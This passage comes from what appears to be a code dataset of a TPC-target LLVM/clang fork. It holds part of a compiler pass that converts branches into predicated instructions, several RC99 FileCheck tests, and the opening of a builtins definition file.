dyn_cast<Instruction>(phi->getIncomingValue(0));\n Instruction *i1 = dyn_cast<Instruction> (phi->getIncomingValue(1));\n if (i0 == nullptr || i1 == nullptr) {\n return false;\n }\n IntrinsicInst *ii = dyn_cast<IntrinsicInst>(i0); \n if (!ii)\n return false;\n Intrinsic::ID inid = ii->getIntrinsicID();\n if (inid < Intrinsic::tpc_abs)\n return false;\n int numop = i0->getNumOperands();\n int numop1 = i1->getNumOperands();\n if (numop != numop1) {\n return false;\n }\n int different_operand = 0;\n if (kdc == Synthesis) {\n if (PHIConform.find(phi) != PHIConform.end()) {\n *PtrOpnd0 = i0->getOperand(different_operand);\n *PtrOpnd1 = i1->getOperand(different_operand);\n return true;\n }\n return false;\n }\n int cntdiff = 0;\n for (int i = 0; i < numop; i++) {\n if (i0->getOperand(i) != i1->getOperand(i)) {\n cntdiff++;\n different_operand = i;\n }\n }\n if (cntdiff == 1 && different_operand == 0) {\n // other operands are posible but must be considered individually\n *PtrOpnd0 = i0->getOperand(different_operand);\n *PtrOpnd1 = i1->getOperand(different_operand);\n return true;\n }\n return false;\n}\n\nstatic KindPhi DecomposePHIAccordingBranch(BranchInst *bi, PHINode *phi,\n Value **ptv, Value **pfv,\n Value **cond,\n KindDecomposingContext kdc = Analysis\n ) {\n if (phi->getNumIncomingValues() > 2) { // not able now\n return StopShow;\n } \n Value *ConfOpnd0, *ConfOpnd1;\n bool PhiSimilar;\n PhiSimilar = PHIOperandsAreConform(phi, &ConfOpnd0, &ConfOpnd1, kdc);\n Type* PhiType = phi->getType();\n if (PhiSimilar) {\n if (kdc == Analysis) {\n if (PHIConform.find(phi) == PHIConform.end()) {\n IntrinsicInst* ii = dyn_cast<IntrinsicInst>(phi->getIncomingValue(0)); \n tPredicPart PP = {nullptr, nullptr};\n if (ii) {\n Intrinsic::ID inid= ii->getIntrinsicID();\n if (inid >= Intrinsic::tpc_abs) {\n int no = ii->getNumOperands();\n int num_polar = no - 2;\n int num_predic = num_polar - 1;\n PP.polar = ii->getOperand(num_polar);\n PP.predic = ii->getOperand(num_predic);\n }\n }\n PHIConform.insert(std::make_pair(phi, PP));\n }\n }\n PhiType = ConfOpnd0->getType();\n }\n PointerType *ppt = dyn_cast<PointerType>(PhiType);\n if (ppt) {\n //unsigned pps = ppt->getScalarSizeInBits();\n // for pointer type it is equal 0. May be llvm error.\n return StopShow;\n }\n unsigned PhiSize = PhiType->getScalarSizeInBits();\n if (PhiSize == 64) {\n // it is not supported in instructions\n return StopShow;\n }\n BasicBlock *s0 = bi->getSuccessor(0);\n BasicBlock *s1 = bi->getSuccessor(1);\n BasicBlock *pb = bi->getParent();\n BasicBlock *ib0 = phi->getIncomingBlock(0);\n BasicBlock *ib1 = phi->getIncomingBlock(1);\n\n if (ib0!=pb && ib0 != s1 && ib0!=s0 &&\n ib1!=pb && ib1 != s1 && ib1!=s0) {\n // absolutely not our phi\n return DontMove;\n }\n if (ib0 == s0 && ib1 != s1 && bi->getParent() != ib1) {\n return DontMove;\n }\n Value *iv0 = phi->getIncomingValue(0);\n Value *iv1 = phi->getIncomingValue(1);\n if (s0 == ib1 && ib0 == bi->getParent()) {\n *cond = bi->getCondition();\n *ptv = iv1;\n *pfv = iv0;\n if (PhiSimilar) {\n *ptv = ConfOpnd1;\n *pfv = ConfOpnd0;\n }\n return good;\n }\n if (ib0 == s1) {//need revert\n if (bbk[s0] == EndBB) {\n if (bi->getParent() == ib1) {\n *ptv = iv1;\n *pfv = iv0;\n *cond = bi->getCondition();\n if (PhiSimilar) {\n *ptv = ConfOpnd1;\n *pfv = ConfOpnd0;\n }\n return good;\n }\n }\n }\n if (ib0 != s0) {\n Value *pomv = iv0;\n BasicBlock *pom = ib0;\n ib0 = ib1;\n iv0 = iv1;\n ib1 = pom;\n iv1 = pomv;\n if (PhiSimilar) {\n pomv = ConfOpnd0;\n ConfOpnd0 = ConfOpnd1;\n ConfOpnd1 = pomv;\n }\n } else {\n if (bbk[s1] == EndBB) {\n if (ib1 == bi->getParent()) {\n *ptv = iv0;\n *pfv = iv1;\n *cond = bi->getCondition();\n if (PhiSimilar) {\n *ptv = ConfOpnd0;\n *pfv = ConfOpnd1;\n }\n return good;\n }\n }\n }\n if (ib0 != s0 || ib1 != s1) { // not our phi\n return StopShow;\n }\n\n *ptv = iv0;\n *pfv = iv1;\n *cond = bi->getCondition();\n if (PhiSimilar) {\n *ptv = ConfOpnd0;\n *pfv = ConfOpnd1;\n }\n return good;\n}\n\n// return true if it was inverted\nstatic bool DecomposeBranchInstWithNorm(BranchInst *bi, Value **cond,\n BasicBlock **suc0,\n BasicBlock **suc1) {\n if (bi->getNumSuccessors() == 2) {\n BasicBlock *s0 = bi->getSuccessor(0);\n BasicBlock *s1 = bi->getSuccessor(1);\n Value *co = bi->getCondition();\n *suc0 = s0;\n *suc1 = s1;\n *cond = co;\n return false;\n }\n return true;\n}\n\nstatic bool IsMac(Intrinsic::ID inid) {\n switch (inid) {\n case Intrinsic ::tpc_mac: // llvm.tpc.mac\n case Intrinsic ::tpc_mac_x2: // llvm.tpc.mac.x2\n case Intrinsic ::tpc_mac_x2_f32: // llvm.tpc.mac.x2.f32\n case Intrinsic ::tpc_mac_x2_zp: // llvm.tpc.mac.x2.zp\n case Intrinsic ::tpc_mac_zp: // llvm.tpc.mac.zp\n return true;\n\n }\n return false;\n}\n\nstatic bool IsSt(Intrinsic::ID inid) {\n switch (inid) {\n case Intrinsic ::tpc_st_g: // llvm.tpc.st.g\n case Intrinsic ::tpc_st_g_inc: // llvm.tpc.st.g.inc\n case Intrinsic ::tpc_st_l: // llvm.tpc.st.l\n case Intrinsic ::tpc_st_l_v: // llvm.tpc.st.l.v\n case Intrinsic ::tpc_st_l_v_high: // llvm.tpc.st.l.v.high\n case Intrinsic ::tpc_st_l_v_high_ofs: // llvm.tpc.st.l.v.high.ofs\n case Intrinsic ::tpc_st_l_v_low: // llvm.tpc.st.l.v.low\n case Intrinsic ::tpc_st_l_v_low_ofs: // llvm.tpc.st.l.v.low.ofs\n case Intrinsic ::tpc_st_l_v_ofs: // llvm.tpc.st.l.v.ofs\n case Intrinsic ::tpc_st_tnsr: // llvm.tpc.st.tnsr\n case Intrinsic ::tpc_st_tnsr_direct: // llvm.tpc.st.tnsr.direct\n case Intrinsic ::tpc_st_tnsr_high: // llvm.tpc.st.tnsr.high\n case Intrinsic ::tpc_st_tnsr_high_direct: // llvm.tpc.st.tnsr.high.direct\n case Intrinsic ::tpc_st_tnsr_high_rmw: // llvm.tpc.st.tnsr.high.rmw\n case Intrinsic ::\n tpc_st_tnsr_high_rmw_direct: // llvm.tpc.st.tnsr.high.rmw.direct\n case Intrinsic ::tpc_st_tnsr_low: // llvm.tpc.st.tnsr.low\n case Intrinsic ::tpc_st_tnsr_low_direct: // llvm.tpc.st.tnsr.low.direct\n case Intrinsic ::tpc_st_tnsr_low_rmw: // llvm.tpc.st.tnsr.low.rmw\n case Intrinsic ::\n tpc_st_tnsr_low_rmw_direct: // llvm.tpc.st.tnsr.low.rmw.direct\n case Intrinsic ::tpc_st_tnsr_partial: // llvm.tpc.st.tnsr.partial\n case Intrinsic ::\n tpc_st_tnsr_partial_direct: // llvm.tpc.st.tnsr.partial.direct\n case Intrinsic ::tpc_st_tnsr_partial_rmw: // llvm.tpc.st.tnsr.partial.rmw\n case Intrinsic ::\n tpc_st_tnsr_partial_rmw_direct: // llvm.tpc.st.tnsr.partial.rmw.direct\n case Intrinsic ::tpc_st_tnsr_rmw: // llvm.tpc.st.tnsr.rmw\n case Intrinsic ::tpc_st_tnsr_rmw_direct: // llvm.tpc.st.tnsr.rmw.direct\n case Intrinsic ::tpc_st_tnsr_s: // llvm.tpc.st.tnsr.s\n case Intrinsic ::tpc_st_tnsr_s_hwr: // llvm.tpc.st.tnsr.s.hwr\n case Intrinsic ::tpc_st_tnsr_s_hwr_rmw: // llvm.tpc.st.tnsr.s.hwr.rmw\n case Intrinsic ::tpc_st_tnsr_s_rmw: // llvm.tpc.st.tnsr.s.rmw\n case Intrinsic ::tpc_st_tnsr_sqz: // llvm.tpc.st.tnsr.sqz\n case Intrinsic ::tpc_st_tnsr_sqz_rmw: // llvm.tpc.st.tnsr.sqz.rmw\n return true;\n }\n return false;\n}\n\n\nstatic bool HasIncome(Intrinsic::ID inid) {\n return !(IsSt(inid) || IsMac(inid));\n \n}\n\n// check instructions are good to move BB\nstatic bool BBBad(BasicBlock *bb_accept, BasicBlock *rbb) {\n int instr_count = 0;\n BranchInst *bia = dyn_cast<BranchInst>(bb_accept->getTerminator());\n\n for (auto It = rbb->begin(), E = rbb->end(); It != E;) {\n Instruction &I = *It;\n ++It;\n if (PHINode *phi = dyn_cast<PHINode>(&I)) {\n Value *tv, *fv, *cond;\n if (DecomposePHIAccordingBranch(bia, phi, &tv, &fv, &cond) == StopShow)\n return true;\n }\n }\n\n if (bbk[rbb] == EndBB) {\n return false;\n }\n for (auto It = rbb->begin(), E = rbb->end(); It != E;) {\n Instruction &I = *It;\n ++It;\n instr_count++;\n if (const IntrinsicInst *intrins = dyn_cast<IntrinsicInst>(&I)) {\n Intrinsic::ID inid = intrins->getIntrinsicID();\n if (inid < Intrinsic::tpc_abs) {\n return true;\n }\n int no = intrins->getNumOperands();\n int num_polar = no - 2;\n int num_predic = num_polar - 1;\n int num_income = num_predic - 1;\n Value *polar = intrins->getOperand(num_polar);\n Value *predic = intrins->getOperand(num_predic);\n Type *predic_type = predic->getType();\n if (predic_type->isVectorTy()) {\n return true;\n }\n ConstantInt *CPre = dyn_cast<ConstantInt>(predic);\n ConstantInt *CPol = cast<ConstantInt>(polar);\n unsigned vpola = CPol->getZExtValue();\n if (HasIncome(inid)) {\n Value *income = intrins->getOperand(num_income);\n Type *ti = income->getType();\n if ((!(CPre && CPre->getZExtValue() == 1) || vpola == 1 ||\n ti->isVectorTy()) &&\n !isa<UndefValue>(income)) {\n // let's try\n // return true;\n }\n }\n } else if (dyn_cast<StoreInst>(&I)) {\n // not able now how\n return true;\n } else if (dyn_cast<CallInst>(&I)) {\n return true;\n } else if (bbk[rbb] != EndBB && dyn_cast<ReturnInst>(&I)) {\n return true;\n } else if (dyn_cast<SwitchInst>(&I)) {\n return true;\n } else { // start with expr which used only inside this BB\n BranchInst *bi = dyn_cast<BranchInst>(&I);\n // need to check there is no phi\n if (bi) {\n int nuo = bi->getNumSuccessors();\n if (nuo > 1) {\n // conditions must be merged\n return true;\n }\n }\n for (auto Usr : I.users()) {\n Instruction *instr = dyn_cast<Instruction>(Usr);\n BasicBlock *users_bb = instr->getParent();\n if (users_bb != rbb) {\n if (PHINode *phi = dyn_cast<PHINode>(instr)) {\n Value *tv, *fv, *cond;\n if (DecomposePHIAccordingBranch(bia, phi, &tv, &fv, &cond) ==\n StopShow)\n return true;\n else\n continue;\n }\n return true;\n }\n }\n }\n }\n return instr_count > TOO_MANY_INSTR;\n}\n\nstatic void NormalizeIntrinPredic(IntrinsicInst *intrins, bool invert,\n Instruction *BuildInstr,\n LLVMContext &Ctx) {\n // do intrinsic with normal(0) polarity if invert - 0 and in turn\n // do polarity as invert\n int no = intrins->getNumOperands();\n int num_polar = no - 2;\n int num_predic = num_polar - 1;\n Value *polar = intrins->getOperand(num_polar);\n Value *predic = intrins->getOperand(num_predic);\n // Start with trivial cases\n Constant *cv = dyn_cast<Constant>(polar);\n unsigned polarity = cv->isZeroValue() ? 0 : 1;\n if (polarity == invert) {\n return;\n } else {\n unsigned neg_polar = ~polarity & 1;\n IRBuilder<> Builder(BuildInstr);\n \n intrins->setOperand(num_polar,\n ConstantInt::get(Type::getInt1Ty(Ctx), neg_polar));\n Value *NewPred = Builder.CreateNot(predic);\n intrins->setOperand(num_predic, NewPred);\n }\n}\n\nstatic Value* ReplacePHI(PHINode* phino, Instruction* build_instr,\n Instruction *bi,Function &Func) {\n IRBuilder<> Builder(build_instr);\n LLVMContext &Ctx = Func.getContext();\n Value *truval, *falsval;\n Value *cond;\n KindPhi kphi = DecomposePHIAccordingBranch(cast<BranchInst>(bi), phino, &truval,\n &falsval, &cond, Synthesis);\n if (kphi == StopShow)\n llvm_unreachable(\"decompose_phi failed\");\n // let'c create mov instr\n Module *Mod = Func.getParent();\n Type *tbool = IntegerType::get(Ctx, 1);\n Type *Int32Ty = Type::getInt32Ty(Ctx);\n VectorType *Int5Ty = VectorType::get(Int32Ty, 5);\n Type *tt = truval->getType();\n Value *ExtF;\n Value *NewIns;\n if (tt == Int5Ty) {\n ExtF = Intrinsic::getDeclaration(Mod, Intrinsic::tpc_mov_mask, tt);\n NewIns =\n Builder.CreateCall(ExtF, {truval, ConstantInt::get(Int32Ty, 31), // mask\n ConstantInt::get(Int32Ty, 0), // switch\n falsval, cond, ConstantInt::get(tbool, 0)});\n } else {\n // here can be types, which is not supported in arch, so better use\n // select\n NewIns = Builder.CreateSelect(cond, truval, falsval);\n }\n\n if (PHIConform.find(phino) != PHIConform.end()) { // need to repeat by with new argument\n tPredicPart PP = PHIConform[phino];\n Instruction*orig = cast<Instruction>(phino->getIncomingValue(0));\n Instruction *cloni = orig->clone();\n if (const IntrinsicInst *intrins = dyn_cast<IntrinsicInst>(orig)) {\n assert(intrins->getIntrinsicID() >= Intrinsic::tpc_abs);\n int no = intrins->getNumOperands();\n int num_polar = no - 2;\n int num_predic = num_polar - 1;\n cloni->setOperand(num_polar, PP.polar);\n cloni->setOperand(num_predic, PP.predic);\n }\n cloni->setOperand(0, NewIns);\n cloni->insertBefore(build_instr);\n NewIns = cloni;\n }\n return NewIns;\n}\n\n//move instruction from bb to it's predecessor. Predicate is taken into account\nstatic void MoveInstructionsUp(BasicBlock *bb_donor, BasicBlock *bb_accept,\n int kind_pred,\n Function &Func) {\n LLVMContext &Ctx = Func.getContext();\n Instruction *lasti = bb_accept->getTerminator();\n assert(lasti);\n IRBuilder<> Builder(lasti);\n for (auto It = bb_donor->begin(), E = bb_donor->end(); It != E;) {\n Instruction &I = *It;\n ++It;\n if (IntrinsicInst *intrins = dyn_cast<IntrinsicInst>(&I)) {\n if (kind_pred == NoPred) {\n I.moveBefore(lasti);\n } else {\n NormalizeIntrinPredic(intrins, kind_pred == FalsePred, lasti, Ctx);\n Value *NewPred;\n BranchInst *bi = dyn_cast<BranchInst>(lasti);\n assert(bi && bi->isConditional());\n Value *cond = bi->getCondition();\n int no = intrins->getNumOperands();\n int num_polar = no - 2;\n int num_predic = num_polar - 1;\n int num_income = num_predic - 1;\n Value *polar = intrins->getOperand(num_polar);\n Value *predic = intrins->getOperand(num_predic);\n Type *predic_type = predic->getType();\n if (predic_type->isVectorTy()) {\n llvm_unreachable(\"not yet\");\n }\n\n ConstantInt *CPre = dyn_cast<ConstantInt>(predic);\n ConstantInt *CPol = cast<ConstantInt>(polar);\n unsigned vpola = CPol->getZExtValue();\n Intrinsic::ID inid = intrins->getIntrinsicID();\n bool via_select = false;\n Value *income = intrins->getOperand(num_income); \n if (IsMac(inid)) {\n if (CPre == nullptr) {\n via_select = true;\n }\n }\n else if (HasIncome(inid)) {\n Type *ti = income->getType();\n Value *vu = UndefValue::get(ti);\n if (CPre && CPre->getZExtValue() == 1 && !isa<UndefValue>(income) &&\n !ti->isVectorTy()) { // transform to undef\n intrins->setOperand(num_income, vu);\n income = intrins->getOperand(num_income);\n }\n if ((!(CPre && CPre->getZExtValue() == 1) || vpola == 1 ||\n ti->isVectorTy()) &&\n !isa<UndefValue>(income)) {\n // let's try\n via_select = true;\n }\n }\n\n if (via_select) {\n Type *ity = intrins->getType();\n Value *vu = UndefValue::get(ity);\n SelectInst *SelIns;\n intrins->moveBefore(lasti);\n SelIns = cast <SelectInst>(Builder.CreateSelect(cond, vu, vu));\n intrins->replaceAllUsesWith(SelIns);\n if (kind_pred == TruePred) {\n SelIns->setTrueValue(intrins);\n } else {\n SelIns->setFalseValue(intrins);\n } \n } else {\n if (kind_pred == TruePred) {\n NewPred=(CPre && CPre->getZExtValue() == 1)\n ? cond\n : Builder.CreateAnd(predic, cond);\n } else {\n NewPred = (CPre && CPre->getZExtValue() == 0)\n ? cond\n : Builder.CreateOr(predic, cond);\n }\n intrins->removeFromParent();\n intrins->setOperand(num_predic, NewPred);\n intrins->insertBefore(lasti);\n }\n }\n } else if (PHINode *phino = dyn_cast<PHINode>(&I)) {\n assert(kind_pred == NoPred); \n Value *NewIns = ReplacePHI(phino, lasti, lasti, Func);\n phino->replaceAllUsesWith(NewIns);\n phino->eraseFromParent(); \n } else {\n I.moveBefore(lasti);\n }\n }\n}\n\nstatic bool CmpBranches(BranchInst *bi1,BranchInst *bi2) {\n unsigned int ns1 = bi1->getNumSuccessors();\n if (ns1 == bi2->getNumSuccessors()) {\n for (unsigned i = 0; i < ns1; i++) {\n if (bi1->getSuccessor(i) != bi2->getSuccessor(i))\n return false;\n }\n } else\n return false;\n return true;\n}\n\nstatic bool CloseBB(BasicBlock* bthen, BasicBlock* belse) {\n return bthen->getNextNode() == belse || belse->getNextNode() == bthen;\n}\n\n// return true if met bad phi, which cannt be processed\nstatic KindPhi CheckOutEdges(BranchInst *bia, BasicBlock *babl) {\n SmallSetVector<PHINode *, 16> phiset;\n\n for (auto *bb : successors(babl)) {\n for (auto It = bb->begin(), E = bb->end(); It != E;) {\n Instruction &I = *It;\n ++It;\n if (PHINode *phino = dyn_cast<PHINode>(&I)) {\n phiset.insert(phino);\n }\n }\n }\n\n // phi must be good\n bool was_dont_move = false;\n for (PHINode *phii : phiset) {\n Value *tv, *fv, *cond;\n KindPhi kphi = DecomposePHIAccordingBranch(bia, phii, &tv, &fv, &cond);\n if (kphi==StopShow)\n return StopShow;\n if (kphi == DontMove) {\n was_dont_move = true;\n notmovebb.insert(phii->getParent());\n } \n continue;\n }\n \n return was_dont_move ? DontMove : good;\n}\n\nbool TPCUnbranch::runOnFunction(Function &Func) {\n\n if (!EnableTPCUnbranch) {\n return false;\n }\n\n if (skipFunction(Func))\n return false;\n F = &Func;\n NumTransformed = 0;\n SmallSetVector<BranchInst *, 16> iflist;\n for (auto BBIt = Func.begin(), BBEnd = Func.end(); BBIt != BBEnd;) {\n BasicBlock *BB = &*BBIt;\n ++BBIt;\n if (dyn_cast<BranchInst>(BB->getFirstNonPHI())) {\n continue;\n }\n BasicBlock *predeb = BB->getSinglePredecessor();\n if (predeb) {\n if (dyn_cast<BranchInst>(predeb->getFirstNonPHI())) {\n continue;\n }\n Instruction *lasti = predeb->getTerminator();\n if (lasti) {\n BranchInst *bi = dyn_cast<BranchInst>(lasti);\n if (bi && bi->isConditional()) {\n BasicBlock *theno = bi->getSuccessor(0);\n BasicBlock *elseo = bi->getSuccessor(1);\n if (dyn_cast<BranchInst>(theno->getFirstNonPHI())) {\n continue;\n }\n if (dyn_cast<BranchInst>(elseo->getFirstNonPHI())) {\n continue;\n }\n bool looping = false;\n for (auto *bb : successors(theno)) {\n if (bb == predeb) {\n looping = true;\n break;\n }\n }\n if (looping)\n continue;\n for (auto *bb : successors(elseo)) {\n if (bb == predeb) {\n looping = true;\n break;\n }\n }\n if (looping)\n continue;\n int nuo = bi->getNumSuccessors();\n if (theno != predeb && elseo != predeb && \n CloseBB(theno,elseo) && (theno == BB || elseo == BB) && nuo == 2) {\n iflist.insert(bi);\n }\n }\n }\n }\n }\n\n for (auto *bi : make_range(iflist.rbegin(), iflist.rend())) {\n BasicBlock *accept = bi->getParent();\n BasicBlock *suc_true, *suc_false;\n Value *condition;\n bbk.clear();\n notmovebb.clear();\n PHIConform.clear();\n //bi->dump();\n if (DecomposeBranchInstWithNorm(bi, &condition, &suc_true,\n &suc_false)) {\n continue;\n }\n BranchInst *term_true = dyn_cast<BranchInst>(suc_true->getTerminator());\n BranchInst *term_false = dyn_cast<BranchInst> (suc_false->getTerminator());\n if (!term_true) {\n if (!term_false)\n continue;\n if (term_false->getSuccessor(0) != suc_true) {\n // it is not just else/then revert, mangled cfg\n continue;\n }\n bbk[suc_true] = EndBB;\n bbk[suc_false] = ElseBB;\n } else if(accept->getNextNode() == suc_true){\n bbk[suc_true] = ThenBB;\n bbk[suc_false] = EndBB;\n if (term_true && term_false && CmpBranches(term_true, term_false)) {\n bbk[suc_false] = ElseBB;\n }\n } else if (accept->getNextNode() == suc_false) {\n bbk[suc_true] = EndBB;\n bbk[suc_false] = ElseBB;\n if (term_true && term_false && CmpBranches(term_true, term_false)) {\n bbk[suc_true] = ThenBB;\n }\n } else {\n continue;\n }\n BasicBlock *predecessor_true;\n if (bbk[suc_true] == ThenBB) {\n predecessor_true = suc_true->getSinglePredecessor();\n if (!predecessor_true)\n continue;\n }\n BasicBlock *predecessor_false;\n\n if (bbk[suc_false]==ElseBB) {\n predecessor_false = suc_false->getSinglePredecessor();\n if (!predecessor_false)\n continue;\n }\n\n if (bbk[suc_false] == EndBB) {\n if (suc_true->getSingleSuccessor() != suc_false)\n continue;\n }\n \n if (BBBad(accept, suc_true))\n continue;\n if (BBBad(accept, suc_false))\n continue;\n BasicBlock *bb_end; \n if (bbk[suc_true] == ThenBB && bbk[suc_false] == ElseBB) {\n bb_end = term_false->getSuccessor(0);\n bbk[bb_end] = EndBB;\n if (suc_true->getSingleSuccessor() != bb_end ||\n suc_false->getSingleSuccessor() != bb_end) {\n continue;\n }\n if (CheckOutEdges(bi,suc_true) == StopShow) {\n continue;\n }\n if (CheckOutEdges(bi, suc_false) == StopShow) {\n continue;\n }\n } else if (bbk[suc_true] == ThenBB && bbk[suc_false] == EndBB) {\n bb_end = suc_false;\n if (suc_true->getSingleSuccessor() != bb_end) {\n continue;\n }\n } else if (bbk[suc_true] == EndBB && bbk[suc_false] == ElseBB) {\n bb_end = suc_true;\n if (suc_false->getSingleSuccessor() != bb_end) {\n continue;\n }\n } else {\n llvm_unreachable(\"bad combination\");\n }\n \n if (suc_false != bb_end && BBBad(accept, bb_end)) {\n continue;\n }\n if (CheckOutEdges(bi,bb_end) == StopShow) {\n continue;\n }\n\n if (bbk[suc_true]==ThenBB && bbk[suc_false]==ElseBB) {\n MoveInstructionsUp(suc_true, accept, TruePred, Func);\n suc_true->dropAllReferences();\n suc_true->removeFromParent();\n MoveInstructionsUp(suc_false, accept, FalsePred, Func);\n suc_false->dropAllReferences();\n suc_false->removeFromParent();\n assert(bb_end == term_false->getSuccessor(0));\n } else if (bbk[suc_true] == ThenBB && bbk[suc_false] == EndBB) {\n MoveInstructionsUp(suc_true, accept, TruePred, Func);\n suc_true->dropAllReferences();\n suc_true->removeFromParent();\n assert(bb_end == suc_false);\n } else if (bbk[suc_true] == EndBB && bbk[suc_false] == ElseBB) {\n MoveInstructionsUp(suc_false, accept, FalsePred, Func);\n suc_false->dropAllReferences();\n suc_false->removeFromParent();\n assert(bb_end == suc_true);\n } else {\n llvm_unreachable(\"bad combination\");\n }\n // may end block dragged inside?\n BasicBlock *predecessor_end = nullptr;\n // must be single after dragging then/else\n // and all preds must be accept\n for (auto *bb : predecessors(bb_end)) {\n if (bb != accept) {\n predecessor_end = nullptr;\n break;\n } else {\n predecessor_end = accept;\n }\n }\n bool mov_end = notmovebb.empty();\n \n if (predecessor_end == accept) {\n // need to check no ref beside branches (phi) in ref BB\n if (!mov_end) { \n // can not move,but suc_true already moved\n // so we must transform phi with such block\n for (auto It = bb_end->begin(), E = bb_end->end(); It != E;) {\n Instruction &I = *It;\n ++It;\n if (PHINode *phino = dyn_cast<PHINode>(&I)) {\n Value *NewIns = ReplacePHI(phino, phino, bi, Func);\n phino->replaceAllUsesWith(NewIns);\n phino->eraseFromParent();\n }\n }\n }\n else { // tail can be moved\n MoveInstructionsUp(bb_end, accept, NoPred, Func);\n bb_end->dropAllReferences();\n bb_end->removeFromParent();\n }\n }\n bi->replaceAllUsesWith(UndefValue::get(bi->getType()));\n bi->eraseFromParent();\n NumTransformed++;\n }\n\n //Func.dump();\n return NumTransformed > 0;\n}\n#endif // LLVM_TPC_COMPILER\n" }, { "alpha_fraction": 0.46459412574768066, "alphanum_fraction": 0.5768566727638245, "avg_line_length": 37.599998474121094, "blob_id": "58b0ebb81dcbfc010930982bcd07452f8daa230d", "content_id": "29c48f6f6b74290a3eef46ad9e3c3a77638fc5e8", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 579, "license_type": "permissive", "max_line_length": 78, "num_lines": 15, "path": "/clang/test/RC99/CodeGen/set_index-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O0 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\nvoid main(int src) {\n int64 val = src;\n int5 storeCoord = { 0, 1, 2, 3, 4 };\n i32_st_tnsr_i_v_b(storeCoord, 1, val, 1, 0);\n}\n\n// CHECK: set_indx [[REGI:%I[0-9]+]], b00001, 0x0, %SP0\n// CHECK: set_indx [[REGI]], b00010, 0x1, %SP0\n// CHECK: set_indx [[REGI]], b00100, 0x2, %SP0\n// CHECK: set_indx [[REGI]], b01000, 0x3, %SP0\n// CHECK: set_indx [[REGI]], b10000, 0x4, %SP0\n// CHECK: st_tnsr 0x1, [[REGI]], %V{{[0-9]+}}\n" }, { "alpha_fraction": 0.6406926512718201, "alphanum_fraction": 0.6709956526756287, "avg_line_length": 27.875, "blob_id": "db1a0fc66f23fee97131e7c118a29f724a514233", "content_id": "fa1f0a2986150e902141240e524538df2b42d72f", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 231, "license_type": "permissive", "max_line_length": 117, "num_lines": 8, "path": "/clang/test/RC99/main/main-12.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -main-function main_entry %s 2>&1 | FileCheck %s\n\nvoid main() \n{\n int a = 7;\n int x = 0;\n}\n// CHECK: error: entry function must be declared in translation unit\n" }, { "alpha_fraction": 0.5303030014038086, "alphanum_fraction": 0.5833333134651184, "avg_line_length": 35, "blob_id": "71bf53c3c79fced0eda197c5bdc3e8011f7f09a8", "content_id": "4fc75f1e6490971f0f70069b89bfc916592c2832", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 396, "license_type": "permissive", "max_line_length": 80, "num_lines": 11, "path": "/clang/test/RC99/asm-inline/asm-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -O1 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -emit-obj -triple tpc-none-none -std=rc99 -O1 %s -o /dev/null\n\nvoid main(int x) {\n register int result __asm__(\"s11\");\n __asm volatile (\"nop; add.f32 %0, S2, S3\" :\"=s\" (result)::);\n}\n// CHECK-LABEL: main:\n// CHECK: //APP\n// CHECK-NEXT: nop; add.f32 S11, S2, S3\n// CHECK-NEXT: //NO_APP\n" }, { "alpha_fraction": 0.5322766304016113, "alphanum_fraction": 0.6282420754432678, "avg_line_length": 28.658119201660156, "blob_id": "cf355a692b01ea90019cd0bfbe8666d7a0853277", "content_id": "b3724896416e5d28e49fa6636dfcabf13ff3813a", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3470, "license_type": "permissive", "max_line_length": 88, "num_lines": 117, "path": "/clang/include/clang/Basic/BuiltinsTPC.def", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===--- BuiltinsTPC.def --- TPC Builtin function database ------*- C++ -*-===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n// This file defines the TPC-specific builtin function database. Users of\n// this file must define the BUILTIN macro to make use of this information.\n//\n//===----------------------------------------------------------------------===//\n\n#if defined(BUILTIN) && !defined(TARGET_BUILTIN)\n# define TARGET_BUILTIN(ID, TYPE, ATTRS, FEATURE) BUILTIN(ID, TYPE, ATTRS)\n#endif\n\n// The format of this database matches clang/Basic/Builtins.def.\n\n// Structure typed are supported by record specifier, which has a form \"RN\",\n// where N is a number assigned to the type. Current set of supported records\n// is:\n//\n// R0 float64_pair_t\n// R1 float64_int64_pair_t\n// R2 float64_uint64_pair_t\n//\n// R3 int64_float64_pair_t\n// R4 int64_pair_t\n// R5 int64_uint64_pair_t\n//\n// R6 uint64_float64_pair_t\n// R7 uint64_int64_pair_t\n// R8 uint64_pair_t\n//\n// R9 bfloat128_pair_t\n// R10 bfloat128_half128_pair_t\n// R11 bfloat128_short128_pair_t\n// R12 bfloat128_ushort128_pair_t\n//\n// R13 half128_bfloat128_pair_t\n// R14 half128_pair_t\n// R15 half128_short128_pair_t\n// R16 half128_ushort128_pair_t\n//\n// R17 short128_bfloat128_pair_t\n// R18 short128_half128_pair_t\n// R19 short128_pair_t\n// R20 short128_ushort128_pair_t\"\n//\n// R21 ushort128_bfloat128_pair_t\n// R22 ushort128_half128_pair_t\n// R23 ushort128_short128_pair_t\n// R24 ushort128_pair_t\n//\n// R25 char256_pair_t\n// R26 char256_uchar256_pair_t\n// R27 char256_minifloat256_pair_t\n// R28 char256_minihalf256_pair_t\n//\n// R29 uchar256_char256_pair_t\n// R30 uchar256_pair_t\n// R31 uchar256_minifloat256_pair_t\n// R32 uchar256_minihalf256_pair_t\n// \n// R33 uint32_t_pair_t\n// R34 uint16_t_pair_t\n// R35 uint8_t_pair_t\n//\n// R36 int256\n// R37 uint256\n// R38 